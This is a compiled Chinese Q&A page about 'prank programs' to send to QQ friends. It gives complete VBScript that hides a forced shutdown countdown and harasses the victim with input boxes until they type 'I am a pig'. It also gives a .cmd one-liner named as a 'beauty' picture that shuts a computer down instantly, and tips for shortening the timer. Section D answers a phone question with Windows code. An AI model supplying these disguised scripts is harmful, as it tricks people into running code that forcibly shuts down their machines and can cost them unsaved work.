A. 尋找一個惡搞軟體！在qq上發給人家一個信息，然後一打開全屏都是恐怖的東西，好像還關不掉.
代碼如下(要復制完整哦)
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是豬，不說我是豬就一分鍾關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"
把上面的文字復制到記事本內。另存為名字隨便你起記住後面的一定要加 .vbe
B. .vbe。我是豬的，惡搞程序，有誰可以教我把一分鍾的關機時間改成10秒
右鍵單擊「XXX.vbe 」 然後點「編輯」 找到一個數字「60」 把它改成「10」就OK了
C. 誰有那種惡搞軟體~就是給扣扣好友發過去，會黑屏或關機然後沒病毒 有的發[email protected]謝了
1.新建文本文檔 ,輸入Shutdown.exe -s -t 1另存為美女.cmd 打開就關機,別嘗試.
2.在桌面新建個文本文檔,把下面的復制進去,然後點左上角的文件,另存為 文件名改為 美女.vbs 這個你可以打開試試.
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是豬，不喊就馬上讓你關機，不信，試試···"" ", 0, True
Dim a
Do While (a <> "我是豬")
a = InputBox("快說我是豬,不叫就不關機，快點，說 ", "說不說", "不說", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早說就行了嘛!好,不關了"
WSHshella.run "cmd.exe /c shutdown -a"
D. 怎麼自己編寫手機惡搞軟體，別人點開就關機的那種
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是豬，不喊就馬上讓你關機，不信，試試···"" ", 0, True
Dim a
Do While (a <> "我是豬")
a = InputBox("快說我是豬,不叫就不關機，快點，說 ", "說不說", "不說", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早說就行了嘛!好,不關了"
WSHshella.run "cmd.exe /c shutdown -a"
先用記事本保存txt格式,然後改為.vbs格式後綴